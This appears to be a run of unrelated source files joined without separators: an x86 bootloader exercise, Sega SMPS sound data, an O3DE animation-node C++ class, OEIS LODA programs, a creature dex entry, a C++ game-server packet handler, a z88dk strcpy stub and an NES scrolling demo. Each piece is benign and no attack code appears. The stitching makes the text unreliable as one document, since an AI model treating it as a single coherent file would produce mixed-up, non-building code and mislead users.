;--------------------------------------------------- ; Bootloader that loads/runs a single-sector payload ; program from the boot disk. ;--------------------------------------------------- bits 16 ; Our bootloader is 512 raw bytes: we treat it all as code, although ; it has data mixed into it, too. section .text ; The BIOS will load us into memory at 0000:7C00h; NASM needs ; to know this so it can generate correct absolute data references. org 0x7C00 ; First instruction: jump over initial data and start executing code start: jmp main ; Embedded data boot_msg db "Project Kernel Beta", 13, 10 boot_banner db "by Stone Champion and Melchisedek Dulcio", 13, 10, 0 boot_disk db 0 ; Variable to store the number of the disk we boot from retry_msg db "Error reading payload from disk; retrying...", 13, 10, 0 main: ; TODO: Set DS == CS (so data addressing is normal/easy) mov ax, cs mov ds, ax ; TODO: Save the boot disk number (we get it in register DL mov [boot_disk], dl ; TODO: Set SS == 0x0800 (which will be the segment we load everything into later) mov ax, 0x800 mov ss, ax ; TODO: Set SP == 0x0000 (stack pointer starts at the TOP of segment; first push decrements by 2, to 0xFFFE) xor sp, sp ; TODO: Print the boot message/banner lea dx, [boot_msg] lea cx, [boot_banner] call puts mov ax, 0x0 int 0x16 ; TODO: use BIOS raw disk I/O to load sector 2 from disk number <boot_disk> into memory at 0800:0000h (retry on failure) .retry: mov ax, 0x800 ; you might have to use another segment if ds doesn't contain the address you need mov es, ax mov ah, 2 mov al, 1 ; size of your payload in bytes divided by sector size (512) mov ch, 0 ; floppies only have 1 track so easy to determine mov cl, 2 ; mbr is in sector 1 so payload starts at 2 mov dh, 0 ; floppies only have 1 head so each to determine mov dl, [boot_disk] ; this is going to vary, remember that dl is probably the current disk, check the helppc reference if you need a different disk xor bx, bx ; whatever offset you want to load ; we've used literally every general purpose register for parameters! int 0x13 jc .retry ; Finally, jump to address 0800h:0000h (sets CS == 0x0800 and IP == 0x0000) jmp 0x0800:0x0000 ; print NUL-terminated string from DS:DX to screen using BIOS (INT 10h) ; takes NUL-terminated string pointed to by DS:DX ; clobbers nothing ; returns nothing puts: push ax push cx push si mov ah, 0x0e mov cx, 1 ; no repetition of chars mov si, dx .loop: mov al, [si] inc si cmp al, 0 jz .end int 0x10 jmp .loop .end: pop si pop cx pop ax ret ; NASM mumbo-jumbo to make sure the boot sector signature starts 510 bytes from our origin ; (logic: subtract the START_ADDRESS_OF_OUR_SECTION [$$] from the CURRENT_ADDRESS [$], ; yielding the number of bytes of code/data in the section SO FAR; then subtract ; this size from 510 to give us BYTES_OF_PADDING_NEEDED; finally, emit ; BYTES_OF_PADDING_NEEDED zeros to pad out the section to 510 bytes) times 510 - ($ - $$) db 0 ; MAGIC BOOT SECTOR SIGNATURE (*must* be the last 2 bytes of the 512 byte boot sector) dw 0xaa55
Sound30_LaserBeam_Header: smpsHeaderStartSong 2 smpsHeaderVoice Sound30_LaserBeam_Voices smpsHeaderTempoSFX $01 smpsHeaderChanSFX $01 smpsHeaderSFXChannel cFM5, Sound30_LaserBeam_FM5, $FB, $05 ; FM5 Data Sound30_LaserBeam_FM5: smpsSetvoice $00 dc.b nBb7, $7F Sound30_LaserBeam_Loop00: dc.b nBb7, $02 smpsAlterVol $01 smpsLoop $00, $1B, Sound30_LaserBeam_Loop00 smpsStop Sound30_LaserBeam_Voices: ; Voice $00 ; $83 ; $1F, $15, $1F, $1F, $1F, $1F, $1F, $1F, $00, $00, $00, $00 ; $02, $02, $02, $02, $2F, $2F, $FF, $3F, $0B, $16, $01, $82 smpsVcAlgorithm $03 smpsVcFeedback $00 smpsVcUnusedBits $02 smpsVcDetune $01, $01, $01, $01 smpsVcCoarseFreq $0F, $0F, $05, $0F smpsVcRateScale $00, $00, $00, $00 smpsVcAttackRate $1F, $1F, $1F, $1F smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $00, $00, $00, $00 smpsVcDecayRate2 $02, $02, $02, $02 smpsVcDecayLevel $03, $0F, $02, $02 smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $02, $01, $16, $0B
/* * All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or * its licensors. * * For complete copyright and license terms please see the LICENSE at the root of this * distribution (the "License"). All use of this software is governed by the License, * or, if provided, by the license below or the license accompanying this file. Do not * remove or modify any license notices. This file is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * */ #include <AzCore/Serialization/SerializeContext.h> #include <AzCore/Math/Transform.h> #include <AzCore/Serialization/EditContext.h> #include <AzFramework/Math/MathUtils.h> #include <EMotionFX/Source/EMotionFXConfig.h> #include <EMotionFX/Source/AnimGraph.h> #include <EMotionFX/Source/AnimGraphInstance.h> #include <EMotionFX/Source/Actor.h> #include <EMotionFX/Source/ActorInstance.h> #include <EMotionFX/Source/AnimGraphManager.h> #include <EMotionFX/Source/BlendTreeSetTransformNode.h> #include <EMotionFX/Source/Node.h> #include <EMotionFX/Source/EMotionFXManager.h> namespace EMotionFX { AZ_CLASS_ALLOCATOR_IMPL(BlendTreeSetTransformNode, AnimGraphAllocator, 0) AZ_CLASS_ALLOCATOR_IMPL(BlendTreeSetTransformNode::UniqueData, AnimGraphObjectUniqueDataAllocator, 0) BlendTreeSetTransformNode::BlendTreeSetTransformNode() : AnimGraphNode() , m_transformSpace(TRANSFORM_SPACE_WORLD) { // setup the input ports InitInputPorts(4); SetupInputPort("Input Pose", INPUTPORT_POSE, AttributePose::TYPE_ID, PORTID_INPUT_POSE); SetupInputPortAsVector3("Translation", INPUTPORT_TRANSLATION, PORTID_INPUT_TRANSLATION); SetupInputPort("Rotation", INPUTPORT_ROTATION, MCore::AttributeQuaternion::TYPE_ID, PORTID_INPUT_ROTATION); SetupInputPortAsVector3("Scale", INPUTPORT_SCALE, PORTID_INPUT_SCALE); // setup the output ports InitOutputPorts(1); SetupOutputPortAsPose("Output Pose", OUTPUTPORT_RESULT, PORTID_OUTPUT_POSE); } BlendTreeSetTransformNode::~BlendTreeSetTransformNode() { } void BlendTreeSetTransformNode::Reinit() { AnimGraphNode::Reinit(); const size_t numAnimGraphInstances = mAnimGraph->GetNumAnimGraphInstances(); for (size_t i = 0; i < numAnimGraphInstances; ++i) { AnimGraphInstance* animGraphInstance = mAnimGraph->GetAnimGraphInstance(i); UniqueData* uniqueData = static_cast<UniqueData*>(FindUniqueNodeData(animGraphInstance)); if (uniqueData) { uniqueData->m_mustUpdate = true; OnUpdateUniqueData(animGraphInstance); } } } bool BlendTreeSetTransformNode::InitAfterLoading(AnimGraph* animGraph) { if (!AnimGraphNode::InitAfterLoading(animGraph)) { return false; } InitInternalAttributesForAllInstances(); Reinit(); return true; } const char* BlendTreeSetTransformNode::GetPaletteName() const { return "Set Transform"; } AnimGraphObject::ECategory BlendTreeSetTransformNode::GetPaletteCategory() const { return AnimGraphObject::CATEGORY_CONTROLLERS; } void BlendTreeSetTransformNode::Output(AnimGraphInstance* animGraphInstance) { ActorInstance* actorInstance = animGraphInstance->GetActorInstance(); AnimGraphPose* outputPose; // get the unique UniqueData* uniqueData = static_cast<UniqueData*>(FindUniqueNodeData(animGraphInstance)); UpdateUniqueData(animGraphInstance, uniqueData); if (GetEMotionFX().GetIsInEditorMode()) { SetHasError(animGraphInstance, uniqueData->m_nodeIndex == MCORE_INVALIDINDEX32); } OutputAllIncomingNodes(animGraphInstance); // make sure we have at least an input pose, otherwise output the bind pose if (GetInputPort(INPUTPORT_POSE).mConnection) { const AnimGraphPose* inputPose = GetInputPose(animGraphInstance, INPUTPORT_POSE)->GetValue(); RequestPoses(animGraphInstance); outputPose = GetOutputPose(animGraphInstance, OUTPUTPORT_RESULT)->GetValue(); *outputPose = *inputPose; } else // init on the input pose { RequestPoses(animGraphInstance); outputPose = GetOutputPose(animGraphInstance, OUTPUTPORT_RESULT)->GetValue(); outputPose->InitFromBindPose(actorInstance); } if (GetIsEnabled()) { // get the local transform from our node if (uniqueData->m_nodeIndex != MCORE_INVALIDINDEX32) { Transform outputTransform; switch (m_transformSpace) { case TRANSFORM_SPACE_LOCAL: outputPose->GetPose().GetLocalSpaceTransform(uniqueData->m_nodeIndex, &outputTransform); break; case TRANSFORM_SPACE_WORLD: outputPose->GetPose().GetWorldSpaceTransform(uniqueData->m_nodeIndex, &outputTransform); break; case TRANSFORM_SPACE_MODEL: outputPose->GetPose().GetModelSpaceTransform(uniqueData->m_nodeIndex, &outputTransform); break; default: outputTransform.Identity(); AZ_Assert(false, "Unhandled transform space"); break; } // process the translation AZ::Vector3 translation; if (TryGetInputVector3(animGraphInstance, INPUTPORT_TRANSLATION, translation)) { outputTransform.mPosition = translation; } // process the rotation if (GetInputPort(INPUTPORT_ROTATION).mConnection) { const MCore::Quaternion& rotation = GetInputQuaternion(animGraphInstance, INPUTPORT_ROTATION)->GetValue(); outputTransform.mRotation = rotation; } // process the scale AZ::Vector3 scale; if (TryGetInputVector3(animGraphInstance, INPUTPORT_SCALE, scale)) { outputTransform.mScale = scale; } // update the transformation of the node switch (m_transformSpace) { case TRANSFORM_SPACE_LOCAL: outputPose->GetPose().SetLocalSpaceTransform(uniqueData->m_nodeIndex, outputTransform); break; case TRANSFORM_SPACE_WORLD: outputPose->GetPose().SetWorldSpaceTransform(uniqueData->m_nodeIndex, outputTransform); break; case TRANSFORM_SPACE_MODEL: outputPose->GetPose().SetModelSpaceTransform(uniqueData->m_nodeIndex, outputTransform); break; default: outputTransform.Identity(); AZ_Assert(false, "Unhandled transform space"); break; } } } // visualize it if (GetEMotionFX().GetIsInEditorMode() && GetCanVisualize(animGraphInstance)) { animGraphInstance->GetActorInstance()->DrawSkeleton(outputPose->GetPose(), mVisualizeColor); } } void BlendTreeSetTransformNode::UpdateUniqueData(AnimGraphInstance* animGraphInstance, UniqueData* uniqueData) { if (uniqueData->m_mustUpdate) { ActorInstance* actorInstance = animGraphInstance->GetActorInstance(); Actor* actor = actorInstance->GetActor(); uniqueData->m_mustUpdate = false; uniqueData->m_nodeIndex = MCORE_INVALIDINDEX32; if (m_nodeName.empty()) { return; } const Node* node = actor->GetSkeleton()->FindNodeByName(m_nodeName.c_str()); if (!node) { return; } uniqueData->m_nodeIndex = node->GetNodeIndex(); } } void BlendTreeSetTransformNode::OnUpdateUniqueData(AnimGraphInstance* animGraphInstance) { UniqueData* uniqueData = static_cast<UniqueData*>(animGraphInstance->FindUniqueObjectData(this)); if (uniqueData == nullptr) { uniqueData = aznew UniqueData(this, animGraphInstance); animGraphInstance->RegisterUniqueObjectData(uniqueData); } UpdateUniqueData(animGraphInstance, uniqueData); } void BlendTreeSetTransformNode::Reflect(AZ::ReflectContext* context) { AZ::SerializeContext* serializeContext = azrtti_cast<AZ::SerializeContext*>(context); if (!serializeContext) { return; } serializeContext->Class<BlendTreeSetTransformNode, AnimGraphNode>() ->Version(1) ->Field("nodeName", &BlendTreeSetTransformNode::m_nodeName) ->Field("transformSpace", &BlendTreeSetTransformNode::m_transformSpace) ; AZ::EditContext* editContext = serializeContext->GetEditContext(); if (!editContext) { return; } const AZ::VectorFloat maxVecFloat = AZ::VectorFloat(std::numeric_limits<float>::max()); editContext->Class<BlendTreeSetTransformNode>("Set Transform Node", "Transform node attributes") ->ClassElement(AZ::Edit::ClassElements::EditorData, "") ->Attribute(AZ::Edit::Attributes::AutoExpand, "") ->Attribute(AZ::Edit::Attributes::Visibility, AZ::Edit::PropertyVisibility::ShowChildrenOnly) ->DataElement(AZ_CRC("ActorNode", 0x35d9eb50), &BlendTreeSetTransformNode::m_nodeName, "Node", "The node to apply the transform to.") ->Attribute(AZ::Edit::Attributes::ChangeNotify, &BlendTreeSetTransformNode::Reinit) ->Attribute(AZ::Edit::Attributes::ChangeNotify, AZ::Edit::PropertyRefreshLevels::EntireTree) ->DataElement(AZ::Edit::UIHandlers::ComboBox, &BlendTreeSetTransformNode::m_transformSpace) ; } } // namespace EMotionFX
; A037454: a(n) = Sum_{i=0..m} d(i)*6^i, where Sum_{i=0..m} d(i)*3^i is the base 3 representation of n. ; Submitted by Jamie Morken(w1) ; 0,1,2,6,7,8,12,13,14,36,37,38,42,43,44,48,49,50,72,73,74,78,79,80,84,85,86,216,217,218,222,223,224,228,229,230,252,253,254,258,259,260,264,265,266,288,289,290,294,295,296,300,301,302,432,433,434,438,439,440,444,445,446,468,469,470,474,475,476,480,481,482,504,505,506,510,511,512,516,517,518,1296,1297,1298,1302,1303,1304,1308,1309,1310,1332,1333,1334,1338,1339,1340,1344,1345,1346,1368 mov $3,1 lpb $0 mov $2,$0 div $0,3 mod $2,3 mul $2,$3 add $1,$2 mul $3,6 lpe mov $0,$1
db "TINY LEAF@" ; species name db "Photosynthesis" next "occurs across its" next "body under the" page "sun. The shell on" next "its back is made" next "of hardened soil.@"
; A142303: Primes congruent to 25 mod 44. ; Submitted by Jon Maiga ; 113,157,421,509,641,773,1213,1301,1433,1609,1697,1741,1873,2137,2269,2357,2621,2753,2797,3061,3413,3457,3677,3853,4073,4337,4513,4733,4909,5261,5393,5437,5569,5657,5701,6053,6229,6317,6361,6449,6581,6977,7109,7417,7549,7681,7901,8209,8297,8429,8693,8737,9001,9133,9221,9397,9661,9749,10321,10453,10937,11069,11113,11597,12037,12301,12433,12653,12697,12829,12917,13049,13093,13313,13577,13709,13841,14149,14281,14369,14633,14897,15073,15161,15601,15733,16217,16349,16481,16657,16921,17053,17317,17449 mov $2,$0 add $2,2 pow $2,2 lpb $2 add $1,24 mov $3,$1 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,20 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 sub $2,1 lpe mov $0,$1 add $0,25
// Arquivo threadpl_server.cpp // Criado em 03/12/2017 por Acrisio // Implementação da classe threadpl_server #if defined(_WIN32) #pragma pack(1) #endif #if defined(_WIN32) #include <WinSock2.h> #elif defined(__linux__) #include "../UTIL/WinPort.h" #endif #include "threadpl_server.h" #include "../UTIL/message_pool.h" #include "../SOCKET/socketserver.h" #include "../SOCKET/socket.h" #include "../UTIL/hex_util.h" #include "../UTIL/exception.h" #include "../TYPE/stda_error.h" using namespace stdA; threadpl_server::threadpl_server(size_t _num_thread_workers_io, size_t _num_thread_workers_logical, uint32_t _job_thread_num) : threadpool(_num_thread_workers_io, _num_thread_workers_logical, _job_thread_num) { }; threadpl_server::~threadpl_server() {}; void threadpl_server::translate_packet(session *_session, Buffer *lpBuffer, DWORD dwIOsize, DWORD operation) { switch (operation) { case STDA_OT_SEND_RAW_COMPLETED: if (dwIOsize > 0 && lpBuffer != nullptr) { try { lpBuffer->consume(dwIOsize); _session->releaseSend(); }catch (exception& e) { CLEAR_PACKET_LOOP_SESSION(GET_FUNC_SEND, SET_FUNC_SEND); _session->releaseSend(); _smp::message_pool::getInstance().push(new message("[threadpl_server::translate_packet][ErrorSystem] " + e.getFullMessageError(), CL_FILE_LOG_AND_CONSOLE)); }catch (std::exception& e) { CLEAR_PACKET_LOOP_SESSION(GET_FUNC_SEND, SET_FUNC_SEND); _session->releaseSend(); _smp::message_pool::getInstance().push(new message("[threadpl_server::translate_packet][ErrorSystem] " + std::string(e.what()), CL_FILE_LOG_AND_CONSOLE)); } }else { _session->releaseSend(); try { // getConnectTime pode lançar exception if (_session->getConnectTime() <= 0 && _session->getState()) { _smp::message_pool::getInstance().push(new message("[threadpl_server::translate_packet][Error] [STDA_OT_SEND_RAW_COMPLETED] _session[OID=" + std::to_string(_session->m_oid) + "] is not connected.", CL_FILE_LOG_AND_CONSOLE)); // Ainda não habilitar o disconnect session, vms aguardar as mensagens para ver se vai ter //DisconnectSession(_session); } }catch (exception& e) { _smp::message_pool::getInstance().push(new message("[threadpl_server::translate_packet][ErrorSystem] " + e.getFullMessageError(), CL_FILE_LOG_AND_CONSOLE)); } } break; case STDA_OT_SEND_COMPLETED: if (dwIOsize > 0 && lpBuffer != nullptr) { packet_head ph; packet *_packet = nullptr; int32_t left = 0; //_session->releaseSend(); // Erro se colocar ele aqui do { try { LOOP_TRANSLATE_BUFFER_TO_PACKET_SERVER(ph, (uint32_t)sizeof(ph), STDA_OT_DISPACH_PACKET_SERVER); }catch (exception& e) { _smp::message_pool::getInstance().push(new message("SEND_COMPLETED MY class exception {SESSION[IP=" + std::string(_session->getIP()) + "]}: " + e.getFullMessageError(), CL_FILE_LOG_AND_CONSOLE)); if (STDA_SOURCE_ERROR_DECODE(e.getCodeError()) == STDA_ERROR_TYPE::CRYPT || STDA_SOURCE_ERROR_DECODE(e.getCodeError()) == STDA_ERROR_TYPE::COMPRESS) { CLEAR_PACKET_LOOP_SESSION(GET_FUNC_SEND, SET_FUNC_SEND); CLEAR_PACKET_LOOP_WITH_MSG; }else if (STDA_ERROR_CHECK_SOURCE_AND_ERROR(e.getCodeError(), STDA_ERROR_TYPE::PACKET, 15) || STDA_ERROR_CHECK_SOURCE_AND_ERROR(e.getCodeError(), STDA_ERROR_TYPE::PACKET, 1)) { CLEAR_PACKET_LOOP_SESSION(GET_FUNC_SEND, SET_FUNC_SEND); CLEAR_PACKET_LOOP_SIMPLE; CLEAR_BUFFER_LOOP_SERVER; // Libera o send _session->releaseSend(); //break; return; // Return por que o break só vai sair do while, e esse break é para sair do switch, mas como depois do switch não tem nada, então só terminar a função }else { CLEAR_PACKET_LOOP_SESSION(GET_FUNC_SEND, SET_FUNC_SEND); CLEAR_PACKET_LOOP_SIMPLE; CLEAR_BUFFER_LOOP_SERVER; // Libera o send _session->releaseSend(); //break; return; // Return por que o break só vai sair do while, e esse break é para sair do switch, mas como depois do switch não tem nada, então só terminar a função } }catch (std::exception& e) { _smp::message_pool::getInstance().push(new message("SEND_COMPLETED std::class exception {SESSION[IP=" + std::string(_session->getIP()) + "]}: " + std::string(e.what()), CL_FILE_LOG_AND_CONSOLE)); CLEAR_PACKET_LOOP_SESSION(GET_FUNC_SEND, SET_FUNC_SEND); CLEAR_PACKET_LOOP_SIMPLE; CLEAR_BUFFER_LOOP_SERVER; // Libera o send _session->releaseSend(); //break; return; // Return por que o break só vai sair do while, e esse break é para sair do switch, mas como depois do switch não tem nada, então só terminar a função }catch (...) { _smp::message_pool::getInstance().push(new message("SEND_COMPLETED Exception desconhecida. {SESSION[IP=" + std::string(_session->getIP()) + "]}", CL_FILE_LOG_AND_CONSOLE)); CLEAR_PACKET_LOOP_SESSION(GET_FUNC_SEND, SET_FUNC_SEND); CLEAR_PACKET_LOOP_SIMPLE; CLEAR_BUFFER_LOOP_SERVER; // Libera o send _session->releaseSend(); //break; return; // Return por que o break só vai sair do while, e esse break é para sair do switch, mas como depois do switch não tem nada, então só terminar a função } } while (dwIOsize > 0); // Libera o send _session->releaseSend(); }else { // Libera o send _session->releaseSend(); try { // getConnectTime pode lançar exception if (_session->getConnectTime() <= 0 && _session->getState()) { _smp::message_pool::getInstance().push(new message("[threadpl_server::translate_packet][Error] [STDA_OT_SEND_COMPLETED] _session[OID=" + std::to_string(_session->m_oid) + "] is not connected.", CL_FILE_LOG_AND_CONSOLE)); // Ainda não habilitar o disconnect session, vms aguardar as mensagens para ver se vai ter //DisconnectSession(_session); } }catch (exception& e) { _smp::message_pool::getInstance().push(new message("[threadpl_server::translate_packet][ErrorSystem] " + e.getFullMessageError(), CL_FILE_LOG_AND_CONSOLE)); } } break; case STDA_OT_RECV_COMPLETED: if (dwIOsize > 0 && lpBuffer != nullptr) { //_session->m_tick = std::clock(); // Tick time client para o TTL(time to live) packet_head_client phc; packet *_packet = nullptr; int32_t left = 0; lpBuffer->addSize(dwIOsize); // Add o size que recebeu no socket do { try { LOOP_TRANSLATE_BUFFER_TO_PACKET_CLIENT(phc, (uint32_t)sizeof(phc), STDA_OT_DISPACH_PACKET_CLIENT); }catch (exception& e) { _smp::message_pool::getInstance().push(new message("RECV_COMPLETED MY class exception {SESSION[IP=" + std::string(_session->getIP()) + "]}: " + e.getFullMessageError(), CL_FILE_LOG_AND_CONSOLE)); if (STDA_SOURCE_ERROR_DECODE(e.getCodeError()) == STDA_ERROR_TYPE::CRYPT || STDA_SOURCE_ERROR_DECODE(e.getCodeError()) == STDA_ERROR_TYPE::COMPRESS) { CLEAR_PACKET_LOOP_SESSION(GET_FUNC_RECV, SET_FUNC_RECV); CLEAR_PACKET_LOOP_WITH_MSG; CLEAR_BUFFER_LOOP_CLIENT; // Shutdown Socket Here ::shutdown( #if defined(_WIN32) _session->m_sock, #elif defined(__linux__) _session->m_sock.fd, #endif SD_BOTH); break; }else if (STDA_ERROR_CHECK_SOURCE_AND_ERROR(e.getCodeError(), STDA_ERROR_TYPE::PACKET, 15) || STDA_ERROR_CHECK_SOURCE_AND_ERROR(e.getCodeError(), STDA_ERROR_TYPE::PACKET, 1)) { CLEAR_PACKET_LOOP_SESSION(GET_FUNC_RECV, SET_FUNC_RECV); CLEAR_PACKET_LOOP_SIMPLE; CLEAR_BUFFER_LOOP_CLIENT; // Shutdown Socket Here ::shutdown( #if defined(_WIN32) _session->m_sock, #elif defined(__linux__) _session->m_sock.fd, #endif SD_BOTH); break; }else { CLEAR_PACKET_LOOP_SESSION(GET_FUNC_RECV, SET_FUNC_RECV); CLEAR_PACKET_LOOP_SIMPLE; CLEAR_BUFFER_LOOP_CLIENT; // Shutdown Socket Here ::shutdown( #if defined(_WIN32) _session->m_sock, #elif defined(__linux__) _session->m_sock.fd, #endif SD_BOTH); break; } }catch (std::exception& e) { _smp::message_pool::getInstance().push(new message("RECV_COMPLETED std::class exception {SESSION[IP=" + std::string(_session->getIP()) + "]}: " + std::string(e.what()), CL_FILE_LOG_AND_CONSOLE)); CLEAR_PACKET_LOOP_SESSION(GET_FUNC_RECV, SET_FUNC_RECV); CLEAR_PACKET_LOOP_SIMPLE; CLEAR_BUFFER_LOOP_CLIENT; // Shutdown Socket Here ::shutdown( #if defined(_WIN32) _session->m_sock, #elif defined(__linux__) _session->m_sock.fd, #endif SD_BOTH); break; }catch (...) { _smp::message_pool::getInstance().push(new message("RECV_COMPLETED Exception desconhecida {SESSION[IP=" + std::string(_session->getIP()) + "]}.", CL_FILE_LOG_AND_CONSOLE)); CLEAR_PACKET_LOOP_SESSION(GET_FUNC_RECV, SET_FUNC_RECV); CLEAR_PACKET_LOOP_SIMPLE; CLEAR_BUFFER_LOOP_CLIENT; // Shutdown Socket Here ::shutdown( #if defined(_WIN32) _session->m_sock, #elif defined(__linux__) _session->m_sock.fd, #endif SD_BOTH); break; } } while (dwIOsize > 0); #if defined(_WIN32) // Post new IO Operation - RECV REQUEST memset(lpBuffer, 0, sizeof(OVERLAPPED)); // Zera o over pra receber mais #endif //_session->requestRecvBuffer(); // Manda devo para receber qualquer resposta do cliente _session->releaseRecv(); //postIoOperation(_session, lpBuffer, operation - 1); }else { if (_session != nullptr /*&& _session->m_sock != INVALID_SOCKET*/) DisconnectSession(_session); } break; } };
; char *strcpy(char * restrict s1, const char * restrict s2) SECTION code_clib SECTION code_string PUBLIC strcpy_callee EXTERN asm_strcpy strcpy_callee: pop bc pop hl pop de push bc IF __CLASSIC && __CPU_GBZ80__ call asm_strcpy ld d,h ld e,l ret ELSE jp asm_strcpy ENDIF ; SDCC bridge for Classic IF __CLASSIC PUBLIC _strcpy_callee defc _strcpy_callee = strcpy_callee ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; _ _ ; ; | | | | ; ; _ __ _ _| |_| |__ ___ _ __ ; ; | '_ \| | | | __| '_ \ / _ \| '_ \ ; ; | |_) | |_| | |_| | | | (_) | | | | ; ; | .__/ \__, |\__|_| |_|\___/|_| |_| ; ; | | __/ | ; ; |_| |___/ ; ; _ _ _____ _____ __ ___ ; ; | | | | / __ \| _ |/ | / | ; ; _ __ ___ _ __ __| | ___ ___| |_ ___ `' / /'| |/' |`| | / /| | ; ; | '_ \ / _ \| '__/ _` |/ _ \/ __| __/ _ \ / / | /| | | |/ /_| | ; ; | | | | (_) | | | (_| | __/\__ \ || __/ ./ /___\ |_/ /_| |\___ | ; ; |_| |_|\___/|_| \__,_|\___||___/\__\___| \_____/ \___/ \___/ |_/ ; ; ; ; ; ; Did this example for the upcoming PythonNordeste 2014, it's next ; ; week, and this is just a sneakpeak about what i'm doing with ; ; pyNES. ; ; ; ; See you there! ; ; ; ; http://2014.pythonnordeste.org/ ; ; ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; .inesprg 1 ; 1x 16KB PRG code .ineschr 1 ; 1x 8KB CHR data .inesmap 0 ; mapper 0 = NROM, no bank swapping .inesmir 1 ; VERT mirroring for HORIZ scrolling ;;;;;;;;;;;;;;; ;; DECLARE SOME VARIABLES HERE .rsset $0000 ;;start variables at ram location 0 scroll .rs 1 ; horizontal scroll count nametable .rs 1 ; which nametable to use, 0 or 1 columnLow .rs 1 ; low byte of new column address columnHigh .rs 1 ; high byte of new column address sourceLow .rs 1 ; source for column data sourceHigh .rs 1 columnNumber .rs 1 ; which column of level data to draw ;;;;;;;;;;;; .bank 0 .org $C000 RESET: SEI ; disable IRQs CLD ; disable decimal mode LDX #$40 STX $4017 ; disable APU frame IRQ LDX #$FF TXS ; Set up stack INX ; now X = 0 STX $2000 ; disable NMI STX $2001 ; disable rendering STX $4010 ; disable DMC IRQs vblankwait1: ; First wait for vblank to make sure PPU is ready BIT $2002 BPL vblankwait1 clrmem: LDA #$00 STA $0000, x STA $0100, x STA $0300, x STA $0400, x STA $0500, x STA $0600, x STA $0700, x LDA #$FE STA $0200, x INX BNE clrmem vblankwait2: ; Second wait for vblank, PPU is ready after this BIT $2002 BPL vblankwait2 LoadPalettes: LDA $2002 ; read PPU status to reset the high/low latch LDA #$3F STA $2006 ; write the high byte of $3F00 address LDA #$00 STA $2006 ; write the low byte of $3F00 address LDX #$00 ; start out at 0 LoadPalettesLoop: LDA palette, x ; load data from address (palette + the value in x) STA $2007 ; write to PPU INX ; X = X + 1 CPX #$20 ; Compare X to hex $10, decimal 16 - copying 16 bytes = 4 sprites BNE LoadPalettesLoop ; Branch to LoadPalettesLoop if compare was Not Equal to zero ; if compare was equal to 32, keep going down InitializeNametables: LDA #$01 STA nametable LDA #$00 STA scroll STA columnNumber InitializeNametablesLoop: JSR DrawNewColumn ; draw bg column LDA scroll ; go to next column CLC ADC #$08 STA scroll INC columnNumber LDA columnNumber ; repeat for first nametable CMP #$20 BNE InitializeNametablesLoop LDA #$00 STA nametable LDA #$00 STA scroll JSR DrawNewColumn ; draw first column of second nametable INC columnNumber LDA #$00 ; set back to increment +1 mode STA $2000 InitializeNametablesDone: FillAttrib0: LDA $2002 ; read PPU status to reset the high/low latch LDA #$23 STA $2006 ; write the high byte of $23C0 address (nametable 0 attributes) LDA #$C0 STA $2006 ; write the low byte of $23C0 address LDX #$40 ; fill 64 bytes LDA #$00 FillAttrib0Loop: STA $2007 DEX BNE FillAttrib0Loop FillAttrib1: LDA $2002 ; read PPU status to reset the high/low latch LDA #$27 STA $2006 ; write the high byte of $27C0 address (nametable 1 attributes) LDA #$C0 STA $2006 ; write the low byte of $27C0 address LDX #$40 ; fill 64 bytes LDA #$FF FillAttrib1Loop: STA $2007 DEX BNE FillAttrib1Loop LDA #%10000000 ; enable NMI, sprites from Pattern Table 0, background from Pattern Table 1 STA $2000 LDA #%00011110 ; enable sprites, enable background, no clipping on left side STA $2001 Forever: JMP Forever ;jump back to Forever, infinite loop NMI: ;INC scroll ; add one to our scroll variable each frame LDA #$00 STA $2003 LDA #$02 STA $4014 ; sprite DMA from $0200 LDA #$00 ; no scrolling STA $2005 STA $2005 LDA #%10000000 ; enable NMI, sprites from Pattern Table 0, background from Pattern Table 1 ORA nametable ; select correct nametable for bit 0 STA $2000 LDA #%00011110 ; enable sprites, enable background, no clipping on left side STA $2001 RTI ; return from interrupt DrawNewColumn: LDA scroll ; calculate new column address using scroll register LSR A LSR A LSR A ; shift right 3 times = divide by 8 STA columnLow ; $00 to $1F, screen is 32 tiles wide LDA nametable ; calculate new column address using current nametable EOR #$01 ; invert low bit, A = $00 or $01 ASL A ; shift up, A = $00 or $02 ASL A ; $00 or $04 CLC ADC #$20 ; add high byte of nametable base address ($2000) STA columnHigh ; now address = $20 or $24 for nametable 0 or 1 LDA columnNumber ; column number * 32 = column data offset ASL A ASL A ASL A ASL A ASL A STA sourceLow LDA columnNumber AND #%11111000 LSR A LSR A LSR A STA sourceHigh LDA sourceLow ; column data start + offset = address to load column data from CLC ADC #LOW(columnData) STA sourceLow LDA sourceHigh ADC #HIGH(columnData) STA sourceHigh DrawColumn: LDA #%00000100 ; set to increment +32 mode STA $2000 LDA $2002 ; read PPU status to reset the high/low latch LDA columnHigh STA $2006 ; write the high byte of column address LDA columnLow STA $2006 ; write the low byte of column address LDX #$1E ; copy 30 bytes LDY #$00 DrawColumnLoop: LDA [sourceLow], y STA $2007 INY DEX BNE DrawColumnLoop RTS ;;;;;;;;;;;;;; .bank 1 .org $E000 palette: .db $0F,$02,$28,$03,$04,$05,$06,$07,$08,$09,$0A,$0B,$0C,$0D,$0E,$0F .db $0F,$30,$31,$32,$33,$35,$36,$37,$38,$39,$3A,$3B,$3C,$3D,$3E,$0F ;palette: ;.db $22,$02,$28,$0F, $22,$36,$17,$0F, $22,$30,$21,$0F, $22,$27,$17,$0F ;;background palette ;.db $22,$1C,$15,$14, $22,$02,$38,$3C, $22,$1C,$15,$14, $22,$02,$38,$3C ;;sprite palette columnData: .incbin "pyne2014.bin" .org $FFFA ;first of the three vectors starts here .dw NMI ;when an NMI happens (once per frame if enabled) the ;processor will jump to the label NMI: .dw RESET ;when the processor first turns on or is reset, it will jump ;to the label RESET: .dw 0 ;external interrupt IRQ is not used in this tutorial .bank 2 .org $0000 .incbin "pyne2014.chr" ;includes 8KB graphics file from SMB1
